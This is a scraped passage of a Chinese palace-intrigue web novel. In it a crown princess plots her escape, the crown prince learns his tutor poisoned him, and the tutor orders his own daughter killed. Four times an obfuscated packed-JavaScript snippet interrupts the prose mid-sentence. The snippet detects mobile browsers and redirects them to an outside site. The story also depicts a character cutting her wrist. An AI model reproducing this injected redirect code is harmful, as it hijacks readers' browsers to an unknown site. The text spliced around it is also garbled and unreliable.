江箐瑶和白隐的婚期临近,母女二人忙得不亦乐乎。 见江箐珂来了,江箐瑶喜滋滋地绕着她转,欠欠儿地揶揄起江箐珂来。 “听说阿姐在宫里又多了几个好姐妹呢?” “妹妹真是好生羡慕啊。” 江箐瑶撇嘴扮可怜。 “不像我,以后嫁给白太傅,家里就我和他二人,除了管家和几个下人外,连个婆母都没有。” 她贱兮兮地摇头叹气。 “唉,这以后的日子,就我和白太傅举案齐眉,浓情蜜意,如胶似漆,冷冷清清,凄凄惨惨,可不如阿姐身边热闹呢。” 江箐珂就看不得她这副欠揍的模样,嘴巴亦是不让人。 “别担心啊。” “等你跟白太傅大婚时,本宫就送几个美人到太傅府上,给妹妹当添妆,让你们的日子也过得热热闹闹的。” 江箐瑶脸上的得意劲儿登时就散了。 “你敢?” 江箐珂手指用力戳了下她脑门儿,“你说我敢不敢?” 张氏走过来,也狠狠地掐了江箐瑶胳膊一下,低声斥责。 “你说你没事儿,瞎嘚瑟什么?” “未来皇后,如何惹得起。” “还当以前在家里呢。” 张氏抬手,也戳了下江箐瑶的脑门儿。 “都要嫁人了,可长点心吧。” 江箐瑶看着江箐珂,急得红了眼。 可骨气使然,她又放不下面子说几句讨好的话,只能别别扭扭地站在那里,干咬着唇。 江箐珂本来也不是气她来的。 转头同喜晴眼神示意后,她同江箐瑶慢声言语。 “再有半个多月,就是你大喜的日子了。” “咱俩斗了这么多年,但好歹都姓江,你出嫁,我这个当长姐的,不出点添妆,传出去也不好听。” “这里有一对玉如意,还有一些珠宝首饰。” “今日就送给你。” “最见不得你风光幸福,你大婚那日,本宫就不去了。” 江箐瑶接过那几样东西,有点受宠若惊。 她眨了眨眼,一脸茫然地看着江箐珂:“果然,一孕傻三年,人都给傻好了!” 江箐珂狠狠地白了江箐瑶一眼。 “你才傻呢。” “好久没抽你,皮痒了是不是?” 江止大喇喇地坐在一旁,翘着二郎腿,一边嚼着干草,一边歪头看着两人笑。 待江箐珂离开回宫后,江止立马回到房里,打开了那卷信笺。 看了上面的字,一侧唇角斜斜勾起,手指惬意地弹了下那张纸。 翻出火折子,将信笺点燃,扔到了茶炉里。 亲眼看着纸张翻卷燃成灰烬,江止这才转身出了宅院,赶着去办江箐珂交代的事。 十二日后,是文德皇后的忌日。 江箐珂作为太子妃,要随李玄尧去皇陵祭奠。 皇陵在京城郊外,路程较远,当晚要在行宫留宿一夜。 江箐珂的出逃计划便定在了那晚。 需要江止筹备之事总共有三。 一是寻购两种药,七荤八素软筋散和三步倒,下次见面时给她。 二是去京城鬼市弄三份假的通关文牒和户籍文书。 三是向镖局的人借十二个人,以送镖为由,走陆路,分成四队,分别在她出逃的次日出发,向东南西北四个方向,用来误导李玄尧的判断。 因为,一旦江箐珂成功逃离,李玄尧势必会另外派人从江止入手,追踪他们的下落。 而在京城里,唯一与江止有关的便是那家镖局。 人藏在镖车里,亦是出逃的最佳途径。 李玄尧能想到这点,定不会放过这条线索。 而他们二人则带着喜晴,走水路,一路向南。 所以,江止需要提前踩点,确定好逃跑路线,再打听好客船时辰,届时由陆路转水路。 可江止一出宅邸,便又察觉到身后跟着几个尾巴。 他去哪儿跟哪儿,想办点事,着实不便。 只怕他这边刚买个三步倒,半个时辰后,李玄尧那边就要知晓了。 江止坐在赌坊里,心不在焉地买注下押。 前思后想,他琢磨了个法子。 起身离开赌坊,他又来到了那家酒楼,跟酒楼老板娘喝起闲酒来。 酒喝着喝着,大手有一下没一下地摸着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113497|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老板娘的屁股。 江止醉眼迷离地凑到老板娘耳边,唇角勾着浪荡又邪肆的笑,当着角落里的那几个尾巴,说着诨话。 “光摸不够劲儿,不如,到你屋子里,脱下来让老子揍几顿?” 老伴娘欲拒还休,拿着帕子捶了下江止的胸,声音百转千回地道了声:“讨厌。” 然后便勾着江止的腰带起身,扭腰晃臀地去了酒楼后院。 …… 夜里。 李玄尧回到东宫时,仍最先去的书房。 谷俊将江箐珂出宫后与江止见面后的一言一行,丝毫不落地禀报给了李玄尧。 而跟踪江止的人也送来了消息,谷昭如实转述禀告。 “江大公子今日也并无特别之举。” “太子妃离开永乐坊的江府后,江大公子便去了赌坊,输了些银子,又回到那家酒楼,跟酒楼老伴娘一起喝了会儿酒。” “可喝着喝着……” 谷昭顿了下来。 李玄尧冷冷抬眸,不怒而威。 谷昭便硬着头皮继续道:“就说要进屋子揍几顿老板娘的屁股,这一揍两人就没出来过,盯梢的那几个人还在酒楼附近蹲着,估摸着,那江大公子今晚是要宿在老板娘那里了。” 一旁的穆珩听后,脸上闪过轻蔑之色。 他摇了摇头,转而同李玄尧说:“这个江止就是个风流浪荡的粗鄙之人,你都派人盯了这么久,还有何不放心?” “他每日除了去镖局逛荡,便是去那种风花雪月之地快活。” “太子妃是断不会舍弃你,对他生出什么心思的。” 李玄尧不作回应,反倒手语示意穆珩。 【赵侧妃已入东宫多日,今晚,就辛苦你一趟。】 穆珩眉头轻挑,顶着李玄尧的脸,为难又无奈地道:“换个人不行吗?” “我夫人有孕在身,兄弟我已素了数月之久。” “赵侧妃那厉害身子,我怕我夜里把持不住。” 【那就睡。】 李玄尧比划完后,披上斗篷,便要离开书房。 穆珩在他身后扬声叱责。 “己所不欲,勿施于人。” “殿下想守身如玉,我又何尝不是?” 第115章 多年后看清曾经 凤鸾轩。 李玄尧与江箐珂一同泡在浴池中。 【今天出宫玩得可开心?】 江箐珂坐在李玄尧的身侧,撩弄着浴池里的水玩儿。 “还不错!” “出宫透透气,觉得人都精神了不少。” 她眸眼弯弯地看向李玄尧,笑着炫耀道:“今天江箐瑶差点就被我给气哭了。” “果然,有权有势就是好,她和张氏现在都不敢招惹我。” “明明看我不顺眼,却又拿我没法子,以后见了我还得三跪九叩,想想就痛快。” “等借了你的光,当了皇后,我就下令,把张氏贬为良妾,绝不让她跟我母亲并排写在江家的族谱上。” 手背轻蹭了几下她的面颊,李玄尧手语示意。 【现在也可以。】 江箐珂摇头。 “这种不讨好会被人诟病的事,你还是别做了。” “未来的一国之君,管别人的家事,多多少少不好听。” “反正我在西延臭名远扬,不差这一件了。” 李玄尧将人拖进怀里,唇鼻凑到她的怀前。 猛虎嗅蔷薇,目光沉静而温柔,李玄尧无声笑道:香的。 江箐珂捧着李玄尧的脸,神色不由得凝重起来。 分别在即,她却开始替面前的人操起心来。 “夜颜,你同穆珩的兄弟情义,一定很深吧?” 夜颜颔首。 转身拿起备在一旁的炭笔和册子。 手上的水浸湿了册子,连带着黑色字迹氤氲出毛茸茸的边儿来。 【他自小在母后身边长大,在穆府的日子少之又少。】 【且自我五岁后,穆珩便与我同吃同住,我与他自是亲如兄弟。】 【且我比他大几日,我为兄,他为弟。】 江箐珂若有所思地点了点头。 虽说有些话讲出来,好像在离间别人关系似的,可她还是开了口。 “人都有欲望和私心,一脉同出的皇子为了皇位,尚且要斗得你死我活。” “你就不担心穆珩日后在那个位置坐得久了,会生出异心?” “更何况,他后面有首辅穆大人,难保到时他们二人会将你架空,让你彻底变成一个不存在的人。” 李玄尧面色平静如水,并未因江箐珂的话而有一丝的情绪波动。 仿若一切尽在他掌握之中。 江箐珂想想也是,她都能想到的问题,李玄尧和衡帝怎会想不到,一定早有防备措施。 如此,她便也安心了。 “你心里有数便好。” 一侧眉头轻挑,李玄尧似是斟酌了须臾。 他提笔又写。 【还记得,你曾经问过我,是谁毒哑我的吗?】 江箐珂有点印象,点头问道:“可是惠贵妃?” 异瞳低垂,一丝讽刺浮上唇角,李玄尧手语答复 【不是她,是先生。】 一时间,江箐珂怀疑是不是自己手语学得不好,理解错了。 她眼神不确定地问了一遍。 “先生?” “你是说......穆大人?” 李玄尧点头。 仔细想想,也不是不无可能。 江箐珂感到细思极恐。 也就说,穆元雄从十几年前便开始布局,为的就是...... 江箐珂都不敢再往下细想。 一个被尊称为先生的天子之师,竟是如此心狠手辣之人。 此等德行,何堪为人师表? 江箐珂突然想起曹公公之前同她讲过的话,李玄尧被毒哑的那日,凑巧乐宁公主和穆珩都不在场,便没有喝那锅下了毒的绿豆汤。 于是,她问:“当年你便已经知晓是穆大人下的毒?” 李玄尧摇头。 提笔写字。 【当年年幼无知,母后猜测是惠贵妃,我便也认为是惠贵妃所为。】 【可多年后,在回想起当日的种种细节时,才恍然看清了曾经。】 江箐珂不太会安慰人,唯一能做的,就是捧着李玄尧的脸亲几下。 “人在做,天在看,他一定会有报应的。” 李玄尧下颌微仰,傲气颔首。 将写好的字抬给江箐珂看。 【这个报应,我会用以牙还牙的方式给他。】 江箐珂算是听明白了。 “所以,你现在是打算借势固权,再卸磨杀驴?” 李玄尧忍俊不禁。 游龙走凤写下几个字。 【不错,时机一到,卸磨杀驴。】 江箐珂又问:“那穆珩呢?” 【若他与我一心,我自会以诚相待,许他一世富贵平安。】 【若他有异心,自是......】 李玄尧下笔犹豫了半晌,最后还是落笔决绝写下“杀无赦”三个字。 …… 皇家的万佛寺。 一间小禅房,一盏青灯,一个人。 灯火摇曳明灭,满是檀香的房内光线有些幽暗。 青灯前,穆汐穿着灰青色的僧服,拿着绣花针,在手腕上一下一下地划着道道。 下手不深,伤口很浅,却是刚好渗血的程度。 她本想借着手腕上这一丝丝的刺痛,来压下心头的伤痛,可越是这样,越是讨厌自己。 越是讨厌自己,便越想靠这种方式来惩罚自己。 花容从外面打水回来,见状,立马放下担子,冲过来阻止。 “良媛,您这手腕再划就要划烂了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114636|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这是何必呢?” 剪刀什么的明明已经藏好,花容万万没想到穆汐会拿绣花针来伤害自己,紧忙又将绣线篮子拿到了屋外。 穆汐颓丧地坐在原处,好似人生了无生趣。 适时,屋外传来脚步声。 穆汐闻声,眸眼瞬间有了神,起身便朝屋外跑去。 可看到来者的面容时,喜悦和期待便如微弱的烛火,瞬间熄了个干净。 收敛眼中的落寞,穆汐移步上前。 【女儿见过父亲。】 鹂莺在旁给穆元雄转述穆汐的手语。 夜色下,穆元雄神色严肃端凝,让人不由心生畏惧。 穆汐从小便怕父亲,所以见到他,都是低眉顺眼的,异常乖巧懂事。 可现在她顾及不了那么多了。 穆汐从小到大从未与李玄尧分开过这么久。 她不适应,想要尽快回去。 觉得离开他一点都难熬无比,更别提是一年。 而唯一能帮她的,便只有父亲了。 【父亲,我何时能离开这里?】 她目光楚楚地看着穆元雄,手势急切。 【你帮女儿在太子殿下和皇上面前说几句,让我早点回宫吧。】 【殿下最听父亲的话,只要父亲开口,他一定会同意。】 穆元雄眼神沉冷锐利,给人一种无形的压迫感。 他抬起手来,“啪”的一声,狠狠地掌掴了穆汐一巴掌。 “无用的废物!” 声音苍劲迟缓,却威凛冷然。 穆汐捂着火辣辣的脸,目光惊诧且不解地看着穆元雄。 她不明白,父亲为何打她。 明明是最亲的人,为何不心疼受了委屈的她,反而要骂她废物。 穆元雄似是恨铁不成钢,漠声道:“就老老实实地在这里反省吧,太子登基在即,无事勿要派人来烦我和穆珩。” 话落,他便甩袖而去。 在踏出小禅房的院子时,穆元雄又道:“鹂莺,出来一趟。” “是,先生。” 鹂莺跟着穆元雄出了佛寺,上了穆府的马车。 她跪在车内,恭敬地拱手请示。 “不知先生有何吩咐?” 穆元雄从袖兜里掏出一个瓷瓶来,递到鹂莺的面前。 鹂莺愣了一瞬,伸手茫然接过。 “还请先生明示。” 穆元雄压着苍老暗哑的声音,言道:“太子顺利登基后,在听到衡帝驾崩的丧钟那日,你便亲自送小姐走。” 鹂莺瞳孔放大,满眼惊恐且不解地看向穆元雄。 穆元雄却轻描淡写地补充了一句。 “哪有兄为帝妹为后的道理?” “既是废棋,留着何用?” 第116章 底色 春意渐浓,清风和煦。 御花园里的那片玉兰树都打了毛茸茸的花骨朵儿。 江箐珂瞧着眼前这片玉兰林子,心里寻思着,李玄尧登基即位时,是满园辛夷花开正盛之时。 兆头甚好。 不过,那时她应该也不在宫里了吧。 但江箐珂也不觉得可惜,宫里的玉兰盛景虽然看不到,但她可以看外面的。 路上的春景定比宫里的还要绚丽恣意。 “奴才见过太子妃。” 温润轻细的一声,打断了江箐珂的思绪。 她转身看过去,没想到竟是小太监八哥儿。 视线下移到他当初摔断的腿,江箐珂关切道:“腿伤都养好了?” 八哥儿躬身浅笑。 “托太子妃的福,养好了,现在能走能跑。” 江箐珂欣慰笑道:“那就好,也不枉本宫累死累活地拖你走那么远。” “太子妃仁德,奴才蒙救命之恩,此生此世,没齿难忘。” 八哥儿脸上笑意极盛。 扯开的唇角,露出的皓齿,弯下的眉眼,和李玄尧笑起来的样子有三四分像,看得江箐珂恍惚了好一瞬。 不愧是他的影子。 江箐珂奇思妙想,冒出个离谱又不着调的念头。 要是把八哥儿给带走,每当她想李玄尧了,就让八哥儿易容给她瞧几眼? 可这个念头,很快就又被她给否了。 脸再像,那也不是异瞳哑巴啊。 夜颜终究是无可替代的那个人。 是时,八哥儿又言。 “倒是太子妃为了救奴才而见红,险些小产。听说前些日子......” 话说到一半,他顿了顿,神色甚是愧疚道:“若无奴才之前的事,或许,太子妃此胎便也不会这般脆弱,奴才自听到消息后,心中始终过意不去。” 江箐珂不以为然地摇了摇头。 “跟你有什么关系,是本宫和那孩子有缘无分罢了。” 话落,江箐珂挥手催道:“快去忙吧,别再耽误皇上那边的事。” 八哥儿迟疑了片刻,最后还是似有不舍地行了一礼,转身而去。 可当八哥儿走了几步远时,江箐珂突然想起些什么,又叫住了他。 八哥儿捧着拂尘,又急步返了回来。 “不知太子妃有何吩咐。” “你先前说,你的命是先生救的,这条命便是那先生的?” 八哥儿茫然点头,不知江箐珂此话为何意。 “那是不是,谁救了你的命,你的命就归谁?”江箐珂又问。 八哥儿恍然,点头莞尔。 他躬身行礼道:“太子妃于奴才有救命之恩,日后若有差遣,奴才纵赴汤蹈火,亦必以命相报。” “可你既欠你先生的命,又欠本宫的命......” 眉头紧蹙,顿了顿,江箐珂表情严肃,语气蛮横凶悍。 “若我和那位先生同时掉入水里,都不会凫水,你会舍命先救谁?” 八哥儿的表情僵在了那里,一时间不知该如何作答。 他从没想到,有一天也会被问这样的问题。 “说啊,选我,还是选先生?”江箐珂迈步逼问。 舔了舔唇,八哥儿有些紧张道:“太子妃想听真话,还是假话?” 江箐珂不耐烦地努了下下巴:“假话。” “奴才定是先救......” 八哥儿闭着眼答:“太子妃。” “凭什么啊?” 江箐珂高声质问。 “我肚里怀着孩子,费劲吃奶的力气在冰天雪地里拖你走,你选先生?” “找抽是不是?” 本来想抽鞭子吓唬吓唬人的,可她一摸腰间,发现忘带了。 八哥儿头低得极低,极力解释道:“是先生最先救了奴才的命,奴才才有命欠太子妃的恩,所以,自是要先救先生的命。” 江箐珂气得捏脖子,感到后脑勺紧得慌。 “那要这么说,你家先生就是跟我有仇。” “他要没救了你的命,那本宫那日也不会遇到你这个**烦啊。” “说来说去,你家先生就是作孽。” 这话骂出来,江箐珂心里痛快了一点点。 八哥儿低头不语。 江箐珂见他可怜兮兮的样子,那股因为穆元雄生出的火气登时灭了一半。 “滚滚滚滚!带着你先生救的命,好好活着吧。” 叫上喜晴,江箐珂气呼呼要走。 八哥儿却开口道:“只要不涉及先生的命,奴才还是愿意以太子妃为先。” 迈出的脚收回,江箐珂回头问:“真的?” “真的。” 江箐珂双手抱胸,又遛跶回八哥儿身前。 “那本宫让你做什么,你就做什么?” 八哥儿言:“太子妃不妨说说看。” “本宫让你报恩的方式,也没什么。” “就是希望一有机会,你不再做任何人的影子,而是做自己,这样才不枉本宫费力救你一命。” 江箐珂继续煽风点火。 “本宫虽然才疏学浅,可也知道这世间的夫子先生,都是教我们如何做人的。” “从没有一个先生是教人如何当影子的。” “而且,学生未必都要听先生的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120459|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “先生也不是什么大圣人,说的教的未必全都对。” “你觉得不对的,就可以反驳反抗。” “不瞒你说,本宫儿时跟阿兄,还有家里的贱妹妹、贱弟弟,最讨厌的就是学堂里的夫子。” “我和阿兄最调皮,时常跟那夫子对着来,经常会被夫子拿着戒尺打手板、抽腿肚子。” “可即使挨罚,我们也觉得很痛快。” “并不会觉得不听夫子的教诲,天就会塌下来了,更不会觉得自己犯了什么十恶不赦的大罪。” “只要自己行得正坐得直,那你便是堂堂正正的人。” “八哥儿也不妨试试,偶尔不听夫子的话,偶尔调皮捣蛋气气先生,也是件极有趣的事。” “比当影子和木偶,有趣得多。” 八哥儿怔怔然地站在那里,一时间忘了言语。 从来没有人跟他说这些话。 也没有人告诉他不要当影子,要做自己,做个人。 是个人,便该有情绪,有血性,有自己的想法,而不是一味地任由人驱使摆布。 八哥儿更没有想到,江箐珂想图的回报竟不是为她自己。 “多谢太子妃教诲,八哥儿定谨记在心。” 江箐珂同喜晴示意,喜晴掏出一袋碎银子给八哥儿。 “伤筋动骨一百天,你这断了腿,虽然能下地走动,且要养着呢,你自己去宫外多买些补品,别落下毛病。” 话落,江箐珂自顾自地点了点头。 眸眼左右动了动,意味深长地道了句。 “本宫走了,你保重。” 离开御花园,在回东宫的宫道上,喜晴不解道:“管他听哪个先生的,管他什么影子、人的,太子妃为何同八哥儿说那么多?” 江箐珂搪塞道:“闲着无聊,就拉着他废话几句,打发打发时间呗。” 其实,她是担心八哥儿这个隐患。 八哥儿的先生若是穆元雄,那八哥儿必是隐藏在李玄尧和衡帝身边的威胁。 尤其现在衡帝病重,八哥儿又在养心殿侍奉。 但凡穆元雄动了杀心,衡帝的命便会不保。 不过,李玄尧既然已知晓是穆元雄毒哑了自己,也定会提防所有与穆元雄有关的人。 她今天同八哥儿说的话,无非是想挟恩图报,顺便晓之以情动之以理,不动声色地离间八哥儿和穆元雄。 至于能否起效,就看八哥儿的心性如何了。 毕竟没有人会喜欢当影子。 而雪狩那日的同生共死,也让江箐珂对八哥儿这个人多多少少有些了解。 他的底色,是白色。 第117章 不是好人 窈窕淑女,君子好逑。 年轻俊美的未来帝王,亦是贵女好逑。 江箐珂本以为在她走之前,李玄尧顶天也就能纳个侧妃,一个良娣和一个才人了,没想到一觉醒来,又有接壤小国主动要送公主和亲,以求大周庇佑,抵御其他邻国的侵扰。 那小国虽小,却是物阜民丰的富庶之地。 若能成为大周的诸侯国,每年上缴的税银便是个可观的数目。 这么大的肥羊主动送上门,朝中群臣纷纷上谏,建议衡帝和李玄尧接受和亲,封那公主为太子侧妃。 待衡帝禅位,新帝登基后,便要将那南面儿的小国公主接过来。 公主名字有点长,江箐珂更是没记住。 看着一屋子来给她请安的女人们,江箐珂觉得这东宫是越来越挤了。 待不得,待不得。 正当侧妃跟那徐才人聊着小国公主之时,挂在廊庑下的两只玄凤鹦鹉也不知抽什么风儿,太阳晒得好好的,突然对着鬼叫起来。 “你找抽是不是?” “轻点,轻点。” “夫~~君~~” 两只玄凤鹦鹉一唱一和的。 “亲一个嘛。” “人家还想要~” “小葡萄,真好吃!” “好吃!” 送到嘴边的茶盏定在了半空,江箐珂石化在那里,花唇半张,满眼惊呆地看向那两只玄凤鹦鹉。 花厅里的另几个人,亦是同种表情。 大胸侧妃捂着嘴,红着脸,无脑直言道:“太子妃养的这两只鹦鹉,学的话都好骚气啊。就是这葡萄......” 她摇头晃脑表示不解。 “现在才刚入春啊,有葡萄吗?” 其他人皆是面色一惊,看了眼江箐珂的脸色,低声轻咳,提醒大胸侧妃。 江箐珂被鹦鹉气得脑子嗡嗡的,她闭眼缓了缓,恨不得把那两只鹦鹉的**都给拔秃了。 偏偏那两小只还在叫得欢。 “喜欢小满。” “小满,小满。” “你是鱼肉,我是刀俎。” “夜颜,你力气好大哦。” “好大好大。” “羞羞。” …… 大胸侧妃继续大惊小怪:“夜……宴?是谁?” 喜晴缓过神来,立马替江箐珂解释道:“是太子殿下,夜颜是太子妃私下对太子殿下的爱称,小满是太子妃的乳名。” 话落,喜晴紧忙跑出去,斥责那个来喂鸟的小太监。 “你把鸟挂这儿作甚,没看太子妃跟各位小主在闲聊吃茶?” “快提着去没人的地儿去。” 大胸侧妃收回视线,挺了挺胸,撇嘴羡慕道:“真是羡慕太子妃和殿下的感情,妾身入宫多日,殿下都还未曾碰过妾身。” 江箐珂现在什么话都听进不去。 她只想死。 那两只玄凤鹦鹉就不是什么正经鸟。 什么话学不好,偏偏学她夜里说的那些? 这下子,全宫都要知道葡萄好吃了。 疯了,疯了,疯了...... 宫里是越来越待不得了。 江箐珂羞得后背、脖颈冒了一层的汗。 她抬手一挥,不耐烦地赶人。 “都散了吧。” 是日夜里。 李玄尧回到东宫书房,照常听各处暗卫送来的消息。 待几名侍卫退下,穆珩眸眼带笑地觑了眼正在喝茶的李玄尧。 他抿了抿唇,没憋住,还是开口了。 “怕是不出几日,整个京城的人都会知道,东宫太子的小葡萄真好吃了。” 李玄尧的茶水刚咽一半,“噗”的一下,就被穆珩这一句话都说喷了。 茶水四溅,溅了他一手,也溅了穆珩一脸。 极少失礼的李玄尧此时也乱了手脚。 一改适才的阴沉森冷,他低着头,红着脸,用衣袖擦着脸边和手上的水。 穆珩用力抹了一把脸,一副无奈又无语的表情。 “东宫外的人提起东宫太子,那想的都是我的葡萄。” “目光都是本公子承受,我这个无辜顶锅的都没喷呢,殿下喷什么?” “要我说,殿下和太子妃就不能背着点儿那鹦鹉?” “那可是鹦鹉啊!” “什么话顺口学什么。” “真是近朱者赤,近墨者黑,这太子妃做派粗俗,带着殿下也......” 李玄尧突然一个眼刀子刺过来,看得穆珩立马收了嘴,换了个话风。 “行行行,不粗俗。” “太子妃端庄贤淑,秀外慧中,善解人意!” 李玄尧收回视线。 穆珩摇头咋舌不满。 “偏心,真是偏心。” “不怪我妹妹疯成那样。” “现在连我这个从小到大的兄弟都说不得了。” 待两人各自离开书房后,穆珩踱步回到徐才人的院子里。 卸去戴了一天的假面,做回自己,穆珩侧卧在床上。 他一手摸着徐才人那鼓起来的肚子,一手撑着头寻思。 半晌过后,目光落在徐才人的花唇上,他蠢蠢欲动,凑到她耳边。 “夫人......” 他有些不好意思地小声道:“要不要吃葡萄?” 同样的场景,凤鸾轩也在上演。 李玄尧低头瞧着怀里的尤物,唇角带笑,目光沉醉,心甘情愿地沦陷在江箐珂的糜艳之色中。 他想起穆珩说的话,想到不久后,可能京城百姓都会知道他的小满同他说的情话。 起初是羞愧不已,可想着想着,莫名的悸动却在心口萦绕不散。 大手抚着江箐珂的脸,他心里只道:真好。 ...... 距离文德皇后的忌日还有四日。 江箐珂今日乔装成侍卫出宫,与江止来了上次说的胡姬酒肆。 酒肆里没有雅阁,所有的客人都围坐在一个大大的地毯上,看着舞姬在中间踏着鼓点,跳西域舞。 借着曲乐的喧闹,江箐珂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123174|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同江止说话方便了许多。 两人坐得很近,而那些拖油瓶们都跟喜晴在另一桌坐着。 江箐珂低声私语,刚好够江止一人听到。 “我交代的那两样东西都弄到了吗?” 江止单腿撑起,拿酒壶的手搭在膝盖上,视线紧随舞姬而动,姿态闲散地点了点头,又微微侧眸,用余光瞥了谷丰那几人。 趁无人注意时,将东西从桌子下面递给了江箐珂。 江箐珂仔细收好,继而又问:“镖局那边也交代好了?” “交代好了,你们去皇陵的那日,镖局也会有四队镖车从京城出发,然后各寻一处停留一日,再向东南西北四个方向出发。” 江止办事虽然有时不太靠谱,但大体上是不会有问题的。 “四日后,你带着红枣和那匹乌骓在行宫外等我和喜晴。” 江箐珂不忘叮嘱。 “我的嫁妆别忘带了。” “放心吧,阿兄里裤不带,都得把你嫁妆背着。” 江箐珂想了想,又道:“张氏和江箐瑶那边你也别忘了交代,就说帮着出趟镖,顺便回西延看看老爷子,太子若是寻到了她们母女那处,还可以借此迷惑下李玄尧。” “何时开始罗里吧嗦,婆婆妈妈的......” 江止咋舌,一脸不耐烦地看着江箐珂调侃,摇头叹气,换来江箐珂一记拳头。 可转而低头给自己倒酒时,舌尖顶着腮,他唇角翘得人不知鬼不觉的。 另一桌,喜晴吃着酒菜,看了几眼胡姬舞,所有的注意力便都落在了江止的身上。 身侧的谷丰瞧见,磕磕巴巴地在喜晴耳边吹风。 “你你你,你家,大,大大大公子,不是什,什什什......么好人。” 喜晴听了不乐意,转头狠狠白了谷丰一眼。 “我家大公子怎么不是好人了?” “他.......他跟酒,酒酒楼,老老老,老板娘,有有......” 一旁的谷羽听了替谷丰着急,开口插话,替他把话说了。 “有一腿。” 谷丰点头:“对。” 喜晴不信。 “乱说。” “我家大公子才看不上那种轻浮随便的女人呢。” 谷丰刚想开口说话,却被谷羽抢了先。 “我们的人都看到了,你家大公子被那老板娘勾着腰带,去了酒楼后院的房子,到第二天上午酒楼开张,他人才出来。” “不仅如此,平日里跟那些镖局兄弟时常去勾栏瓦肆喝花酒,**去,**怀里都搂着个小娘子。” 谷丰点头如捣蒜,又跟了一句:“对!” 他拿起筷子,赶在其他兄弟下手前,把盘子里剩下的最后一块白切鸡夹给了喜晴。 “离离离,离他,远点!” 喜晴听到江止在酒楼老板娘那里过夜,再没心情吃酒。 将那块鸡肉夹起,愤愤扔到了谷丰的碗里。 “吃也堵不上你的碎嘴。” 第118章 想要殿下 江箐珂撑着腮,喝着酒,一场接一场的胡姬舞看得却是心不在焉。 思忖了片刻,她唤江止。 “阿兄......” “说。” “你说,眼下正是李玄尧准备登基的关键时刻,我若是走了,是不是给他添乱,很不地道啊?” 江止声色懒散道:“一年不到,这东宫都添几个新人了?” “你跟他地道,他跟你地道了?” “现在不走,留下来等着跟那和亲公主来了一起过年不成?” “人家运筹帷幄,用得你咸吃萝卜淡操心?” 东宫的秘密,江箐珂都未同江止说。 他不知情,自是不知晓这其中的复杂和潜在的危机。 “可是......” 江止不耐烦道:“又可是什么?” “我这心里也不怎么的,总是七上八下的,很不安。” 江止默而不言,转头心不在焉地瞧着那几名舞姬。 过了半晌,他突然开口:“你若是不放心,咱就给他留两万江家军备用?” 江箐珂眼里立马有了光。 “怎么留?虎符由父亲掌管,我的那几个军令牌也都上交给了父亲。” “太子若想从西延调兵,也得走文书。” 适时,江止的手探进怀兜里,摸出个铜制鎏金军令牌来。 “西延落星岱和盘龙岭,那里易守难攻,鲜少有敌兵入侵,这里总共有五万重骑兵马,若太子需要,可临时从这两处调用两万出来。” 江箐珂接过那军令牌,甚感意外道:“这牌子你没给江昱?” 江止侧歪地坐在那里,懒洋洋地喝了杯酒,一侧唇角翘起,笑得痞里痞气的。 “本来都该留给江昱的,但我留了一个。” “老爷子也同意了。” “说让我带着,万一京城这边有什么变故,也好临时调遣西延军来救援,护你和张氏母女平平安安回西延。” 江箐珂眉眼弯弯,低头摆弄着军令牌。 “不愧是阿兄,专挑兵力强的留。” 江止拖着嗓音,得意道:“那自是当然,要留就留最好的。” 落星岱和盘龙岭两处的重骑兵队,是西延江家军里实力最强的两支。 有了这两万重骑兵队,应该能助李玄尧稳坐帝位,应对一切突发的变故吧。 江止见江箐珂安心了不少,又补充道:“回去我就写两封信送到西延,让他们做好准备,随时听候太子差遣。” 眉目舒展,江箐珂点头如捣蒜,将那军令牌小心翼翼地收好。 ...... 万佛寺。 穆汐神色恹恹地坐在禅房里,摆在面前的饭菜一口未动,要抄的经书也一字未写。 洗完衣服的花容和鹂莺从外面回来,她手语问她二人。 【可有他的消息?】 花容和鹂莺皆是摇头。 【为何都不来看我一眼?】 穆汐叹了口气,转头望向窗外。 